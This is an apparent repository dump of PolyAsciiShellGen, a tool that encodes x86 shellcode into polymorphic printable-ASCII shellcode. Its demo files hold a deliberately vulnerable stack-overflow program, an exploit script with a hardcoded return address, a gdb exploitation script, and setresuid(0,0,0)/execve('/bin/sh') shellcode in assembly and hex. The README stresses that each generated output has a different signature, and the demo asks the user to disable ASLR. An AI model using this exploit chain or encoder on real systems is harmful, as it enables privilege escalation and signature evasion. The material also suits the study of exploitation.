| - [Usage](#usage) 7 | - [Options](#options) 8 | - [Result](#result) 9 | - [Return Value](#return-value) 10 | - [Exemple](#exemple) 11 | 12 | 13 | ## PolyAsciiShellGen 14 | PolyAsciiShellGen is an experimental ASCII shellcode generator based on 15 | the part II of the *Riley "Caezar" Eller*'s paper. The program take a classic 16 | shellcode in entry and automates the shellcode encoding process into ASCII 17 | caracteres and assemble an ASCII shellcode able to decode, load and 18 | execute the original shellcode. 19 | 20 | 21 | ### Build 22 | Clone PolyAsciiShellGen from 23 | [my Github repository [3]](https://github.com/VincentDary/PolyAsciiShellGen) 24 | and build it. 25 | 26 | ```text 27 | $ git clone https://github.com/VincentDary/PolyAsciiShellGen.git 28 | $ cd PolyAsciiShellGen 29 | $ make && make clean 30 | ``` 31 | 32 | ### Usage 33 | ```text 34 | $ ./PolyAsciiShellGen 35 | usage: PolyAsciiShellGen 36 | ``` 37 | 38 | ### Options 39 | **``** 40 | 41 | The *`esp offset`* parameter is a 32 bit integer, positive or negative. 42 | When the generated ASCII shellcode is executed it starts to add the 43 | *`esp offset`* to ESP in order to set the register position after its code 44 | with enough space to build the decoded shellcode as a bridge to the code of the 45 | ASCII shellcode. This value is generaly deduct during a pre-exploitation 46 | debugging session. If a NOP sleed is add before the decoded shellcode via the 47 | *`NOP sleed factor`*, the *`esp offset`* value can have a margin of error 48 | according the size of the NOP sleed use. Here the method to compute the 49 | *`esp offset`*. 50 | 51 | ```text 52 | esp_offset = @shellcode_ascii_start_address - @esp_address 53 | + ascii_shellcode_size 54 | + original_shellcode_size 55 | ``` 56 | 57 | Note: the `ascii_shellcode_size` must be padded on a 32-bit boundary. 58 | 59 | **``** 60 | 61 | The *`nop sleed factor`* parameter is a 32 bit unsigned integer use as a NOP 62 | sleed multiplier to add an extra NOP sleed before the first instructions of the 63 | decoded shellcode in order to reliable the decoded shellcode execution. This 64 | factor is multiplied to four NOP instructions. So if N=4, 4*4=16 NOP 65 | instructions are added before the shellcode. 66 | 67 | **``** 68 | 69 | The `shellcode` parameters is the shellcode to encode in escaping format 70 | `...\xcd\x80...` .If the lenght of the shellcode is not a multiplier of four bytes, it 71 | is padded with extra NOP bytes in order to pass an exploit code aligned on a 32-bit 72 | boundary to the underlying ASCII shellcode generator. 73 | 74 | 75 | ### Result 76 | PolyAsciiShellGen print the resulting ASCII shellcode on the standard output. The 77 | ASCII charset use for the ASCII shellcode building is the following. 78 | 79 | ```text 80 | %_01234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ- 81 | ``` 82 | 83 | To encode the original shellcode, the underlying encoder uses values generated 84 | randomly at each execution. So, the printable shellcodes generated have a 85 | different signatures from the original shellcode at each new generation. 86 | 87 | 88 | ### Return Value 89 | The command returns 0 if the ASCII shellcode generation is successful or 1 if 90 | it fails. 91 | 92 | 93 | ### Exemple 94 | Here an example with a `setresuid(0,0,0); execve(/bin//sh,0,0)` shellcode. 95 | 96 | ```text 97 | $ ./PolyAsciiShellGen -270 10 "\x31\xc0\x31\xdb\x31\xc9\x31\xd2\xb0\xa4\xcd\x80\x31\xc0\xb0\x0b\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x51\x89\xe2\x53\x89\xe1\xcd\x80" 98 | TX-KKKK-KKKK-xjiiP\%0000%AAAA-9%%%-GJJJP-hhNh-th3%-Q6-5P-yyyZ-yZy6-L6---2-8-P-7KKd-%Kdz-%RkzP-xxxx-GGGx-0AFiP-OOOO-jOwO-iaraP-NN%N-a%%a-q44tP-%SS0-%SL5-7uC%P-FkFF-9pUhP-XXXX-XXXX-PXOFP-AAAj-0w2j-0w-vPPPPPPPPPP 99 | ``` 100 | -------------------------------------------------------------------------------- /demo/PolyAsciiShellGen: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/VincentDary/PolyAsciiShellGen/48f41ff883c44cc7bd420cbb0c765ad3b03aa355/demo/PolyAsciiShellGen -------------------------------------------------------------------------------- /demo/demo_PolyAsciiShellGen.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | set -e 4 | 5 | SCRIPT=$(realpath $0) 6 | SCRIPTPATH=$(dirname $SCRIPT) 7 | 8 | cd "$SCRIPTPATH" 9 | 10 | 11 | in_gdb() 12 | { 13 | payload=$(./exploit_ascii_filter_sample.sh) 14 | 15 | echo -e "\n\n[Payload Generation] " 16 | echo -e "\n" 17 | echo "$payload" | hexdump -C 18 | echo -e "\n\n" 19 | 20 | echo "$payload" > /tmp/exploit_ascii_filter_stdin_gdb 21 | 22 | gdb -q ./vuln_ascii_filter_sample \ 23 | --command=exploit_ascii_filter_sample.gdb 24 | } 25 | 26 | out_gdb() 27 | { 28 | if [ "$(cat /proc/sys/kernel/randomize_va_space)" != "0" ] 29 | then 30 | echo -e "\n\n This demo need to run in non randomized address space.\n" 31 | echo -e " Please run as root:\n" 32 | echo -e " echo 0 > /proc/sys/kernel/randomize_va_space\n\n" 33 | exit 1 34 | fi 35 | 36 | payload=$(./exploit_ascii_filter_sample.sh) 37 | 38 | echo -e "\n\n[Payload Generation] " 39 | echo -e "\n" 40 | echo "$payload" | hexdump -C 41 | 42 | ( echo "$payload" ; cat ) | ./exec_wrapper 43 | } 44 | 45 | cmd_line_arguments_ttmt() 46 | { 47 | if [ "$1" == "in-gdb" ] 48 | then 49 | in_gdb 50 | elif [ "$1" == "out-gdb" ] 51 | then 52 | out_gdb 53 | else 54 | echo -e " 55 | Demo PolyAsciiShellGen 56 | 57 | This demo automates the exploitation of 'vuln_ascii_filter_sample' with 58 | PolyAsciiShellGen. It provides two contexts of execution, in or out of 59 | the debugger. 60 | 61 | Usage: 62 | demo_PolyAsciiShellGen.sh [options] 63 | 64 | Options: 65 | in-gdb Run the demo in gdb. 66 | out-gdb Run the demo out of gdb. 67 | " 68 | fi 69 | } 70 | 71 | 72 | cmd_line_arguments_ttmt "$@" 73 | -------------------------------------------------------------------------------- /demo/exec_wrapper: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/VincentDary/PolyAsciiShellGen/48f41ff883c44cc7bd420cbb0c765ad3b03aa355/demo/exec_wrapper -------------------------------------------------------------------------------- /demo/exec_wrapper.c: -------------------------------------------------------------------------------- 1 | //############################################################################## 2 | // 3 | // Date: October 01 2018 4 | // Author: Vincent Dary 5 | // File: exec_wrapper.c 6 | // Licence: GPLv3 7 | // Description: Restrictive binary loader with an empty environnement. Fix the 8 | // lack of gdb option to provide a total empty environnement to 9 | // the launched binary. 10 | // 11 | // Compile line: gcc -m32 exec_wrapper.c -o exec_wrapper 12 | // 13 | //############################################################################## 14 | 15 | #include 16 | #include 17 | #include 18 | #include 19 | 20 | int main(int argc, char *argv[]) 21 | { 22 | int e; 23 | 24 | char exec_bin_name[] = "./vuln_ascii_filter_sample"; 25 | char *exec_argv[] = { exec_bin_name, NULL }; 26 | char *exec_envp[] = { NULL }; 27 | 28 | printf("\n\n[demo exec wrapper] Executing %s\n\n", exec_bin_name); 29 | 30 | e = execve(exec_bin_name, exec_argv, exec_envp); 31 | 32 | if (e == -1) 33 | fprintf(stderr, "[demo exec wrapper] error %s\n", strerror(errno)); 34 | 35 | return 0; 36 | } 37 | -------------------------------------------------------------------------------- /demo/exploit_ascii_filter_sample.gdb: -------------------------------------------------------------------------------- 1 | ################################################################################ 2 | # 3 | # Date: May 18 2018 4 | # Author: Vincent Dary 5 | # File: exploit_ascii_filter_sample.gdb 6 | # Licence: GPLv3 7 | # Description: Debug script for vuln_ascii_filter_sample.c exploitation. 8 | # This script uses exploit_ascii_filter_sample.sh to generate the 9 | # Payload injected in the vuln_ascii_filter_sample binary. 10 | # 11 | # Use example: 12 | # $ gdb -q --command=exploit_ascii_filter_sample.gdb vuln_ascii_filter_sample 13 | ################################################################################ 14 | 15 | # hardcoded memory addresses 16 | 17 | ## .code segment 18 | set $addr_first_fgets_call = 0x8049255 19 | set $addr_strlen_call = 0x80492b5 20 | 21 | ## .stack segment 22 | set $addr_buffer_info_comment = 0xffffdc24 23 | set $addr_in_ascii_shellcode = 0xffffdc91 24 | set $addr_esp_eip_crossing = 0xffffdcdc 25 | 26 | 27 | define sleep_and_continue 28 | shell sleep 1 29 | continue 30 | end 31 | 32 | # Debug the stack overflow in b_info.book_ref 33 | define stack_overflow_dbg 34 | break *$addr_first_fgets_call 35 | commands 36 | x/140xw $esp 37 | x/i $eip 38 | sleep_and_continue 39 | end 40 | 41 | break *$addr_strlen_call 42 | commands 43 | x/140xw $esp 44 | x/i $eip 45 | sleep_and_continue 46 | end 47 | end 48 | 49 | # ASCII shellcode debuging 50 | define ascii_shellcode_dbg_break_settings 51 | thbreak *$addr_buffer_info_comment 52 | commands 53 | x/48i $eip 54 | i r $esp 55 | sleep_and_continue 56 | end 57 | 58 | thbreak *$addr_in_ascii_shellcode 59 | commands 60 | x/40i $eip 61 | i r $esp 62 | sleep_and_continue 63 | end 64 | 65 | thbreak *$addr_esp_eip_crossing 66 | commands 67 | x/20i $eip 68 | i r $eip 69 | i r $esp 70 | delete 1 2 3 71 | sleep_and_continue 72 | end 73 | end 74 | 75 | # main gdb function 76 | define exploit_ascii_filter_dbg 77 | 78 | set disassembly-flavor intel 79 | set height 0 80 | set pagination off 81 | 82 | set exec-wrapper ./exec_wrapper 83 | 84 | break *main 85 | commands 86 | stack_overflow_dbg 87 | ascii_shellcode_dbg_break_settings 88 | x/3i *main+26 89 | sleep_and_continue 90 | end 91 | 92 | run < /tmp/exploit_ascii_filter_stdin_gdb 93 | 94 | end 95 | 96 | exploit_ascii_filter_dbg 97 | -------------------------------------------------------------------------------- /demo/exploit_ascii_filter_sample.sh: -------------------------------------------------------------------------------- 1 | ################################################################################ 2 | # 3 | # Date: May 18 2018 4 | # Author: Vincent Dary 5 | # File: exploit_ascii_filter_sample.sh 6 | # Licence: GPLv3 7 | # Description: Generate the payload to inject in the standard input of 8 | # vuln_ascii_filter_sample to exploit it. 9 | # 10 | # Using exemple: 11 | # $ (./exploit_ascii_filter_sample.sh; cat) | ./vuln_ascii_filter_sample 12 | ################################################################################ 13 | 14 | #!/bin/bash 15 | 16 | set -e 17 | 18 | ret_offset="24" 19 | ret_addresse="\x24\xdc\xff\xff" 20 | esp_offset="-316" 21 | nop_factor="0" 22 | 23 | input_book_ref=$(perl -e "print 'A'x'$ret_offset'.'$ret_addresse'.'\n'") 24 | 25 | setresuid_shellcode=$(hexdump -v -e '"\\" "x" 1/1 "%02X"' setresuid_shellcode) 26 | 27 | ascii_shellcode=$(./PolyAsciiShellGen $esp_offset $nop_factor $setresuid_shellcode) 28 | 29 | echo -e "$input_book_ref$ascii_shellcode" 30 | -------------------------------------------------------------------------------- /demo/setresuid_shellcode: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/VincentDary/PolyAsciiShellGen/48f41ff883c44cc7bd420cbb0c765ad3b03aa355/demo/setresuid_shellcode -------------------------------------------------------------------------------- /demo/setresuid_shellcode.asm: -------------------------------------------------------------------------------- 1 | ;############################################################################### 2 | ; 3 | ; Date: May 18 2018 4 | ; Author: Vincent Dary 5 | ; File: setresuid_shellcode.asm 6 | ; Licence: GPLv3 7 | ; 8 | ; System: Linux 9 | ; Architectecture: Intel x86 32 bits 10 | ; Description: shellcode restore privileges 11 | ; - setresuid(0, 0, 0) 12 | ; - execve("/bin/sh", 0, 0) 13 | ; 14 | ; length: 37 bytes 15 | ; compile line: nasm setreuid_shellcode.asm 16 | ; 17 | ;############################################################################### 18 | 19 | BITS 32 20 | 21 | xor eax, eax 22 | xor ebx, ebx 23 | xor ecx, ecx 24 | xor edx, edx 25 | mov al, 0xd0 26 | int 0x80 ; setresuid(0, 0, 0) 27 | 28 | xor eax, eax 29 | mov al, 11 30 | push ecx 31 | push 0x68732f2f 32 | push 0x6e69622f 33 | mov ebx, esp 34 | push ecx 35 | mov edx, esp 36 | push ebx 37 | mov ecx,esp 38 | int 0x80 ; execve("/bin/sh", 0, 0) 39 | -------------------------------------------------------------------------------- /demo/vuln_ascii_filter_sample: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/VincentDary/PolyAsciiShellGen/48f41ff883c44cc7bd420cbb0c765ad3b03aa355/demo/vuln_ascii_filter_sample -------------------------------------------------------------------------------- /demo/vuln_ascii_filter_sample.c: -------------------------------------------------------------------------------- 1 | //############################################################################## 2 | // 3 | // Date: May 18 2018 4 | // Author: Vincent Dary 5 | // File: vuln_ascii_filter_sample.c 6 | // Licence: GPLv3 7 | // Description: This program contain a stack buffer overflow vulnerability 8 | // designed specialy to show when an ASCII shellcode can be useful 9 | // in buffer overflow exploitation. 10 | // Compile line: gcc vuln_ascii_filter_sample.c -o vuln_ascii_filter_sample 11 | // -m32 12 | // -z execstack 13 | // -fno-stack-protector 14 | // -no-pie 15 | // 16 | //############################################################################## 17 | 18 | #include 19 | #include 20 | #include 21 | #include 22 | 23 | #define BOOK_COMMENT_MAX_LEN 512 24 | #define BOOK_REF_MAX_LEN 48 25 | 26 | struct book_info { 27 | char comment[BOOK_COMMENT_MAX_LEN]; 28 | char book_ref[4]; /* programming error */ 29 | }; 30 | 31 | int register_book(){ 32 | struct book_info b_info; 33 | size_t comment_size = 0; 34 | size_t i = 0; 35 | 36 | memset(&b_info, 0, sizeof(b_info)); 37 | 38 | printf("[0x%x] @b_info.comment\n", &b_info.comment); 39 | printf("[0x%x] @b_info.book_ref\n", &b_info.book_ref); 40 | 41 | puts("[+] Enter a book reference: "); 42 | if( fgets(b_info.book_ref, BOOK_REF_MAX_LEN-1, stdin) == NULL ) 43 | return -1; 44 | 45 | puts("[+] Enter a book commentary: "); 46 | if( fgets(b_info.comment, BOOK_COMMENT_MAX_LEN-1, stdin) == NULL ) 47 | return -1; 48 | 49 | /* ASCII filter 0x20 to 0x7E */ 50 | comment_size = strlen(b_info.comment); 51 | for( i=0; i < comment_size-1; ++i ){ 52 | if(! (isprint(b_info.comment[i])) ){ 53 | memset(&b_info, 0, sizeof(b_info)); 54 | return -1; 55 | } 56 | } 57 | 58 | puts("[+] Book registered."); 59 | printf("\nreference: %s\ncommentary: %s\n", b_info.book_ref, b_info.comment); 60 | return 0; 61 | } 62 | 63 | int main(int argc, char *argv[]){ 64 | if( register_book() < 0 ){ 65 | puts("[-] Error during book registering."); 66 | return 1; 67 | } 68 | return 0; 69 | } 70 | -------------------------------------------------------------------------------- /main.c: -------------------------------------------------------------------------------- 1 | //################################################################ 2 | //############ Date: June 29 2015 3 | //############ Author: Vincent Dary 4 | //############ File: main.c 5 | //############ Licence: GPLv3 6 | //############ Description: PolyAsciiShellGen entry point. 7 | //################################################################ 8 | 9 | #include "AsciiShellEngine.h" 10 | 11 | int main(int argc, char *argv[]) 12 | { 13 | if(poly_ascii_shellcode_entry(argc, (const char **)argv) < 0) 14 | return 1; 15 | 16 | return 0; 17 | } 18 | -------------------------------------------------------------------------------- /makefile: -------------------------------------------------------------------------------- 1 | ################################################################ 2 | ############ Date: February 3 2015 3 | ############ Author: Vincent Dary 4 | ############ File: makefile 5 | ############ Licence: GPLv3 6 | ############ Description: compiles the PolyAsciiShellGen program 7 | ################################################################ 8 | 9 | .PHONY: clean, mrproper 10 | .SUFFIXES: 11 | 12 | BIN = PolyAsciiShellGen 13 | CC = gcc 14 | CFLAGS = -W -Wall -g 15 | 16 | all: main.o AllocFunctions.o CmdLineTtmt.o AsciiShellEngine.o 17 | $(CC) $^ -o $(BIN) $(CFLAGS) 18 | 19 | main.o: AllocFunctions.h CmdLineTtmt.h AsciiShellEngine.h 20 | 21 | %.o: %.c 22 | $(CC) -c $< -o $@ $(CFLAGS) 23 | 24 | clean: 25 | rm -rf *.o 26 | 27 | 28 | 29 | --------------------------------------------------------------------------------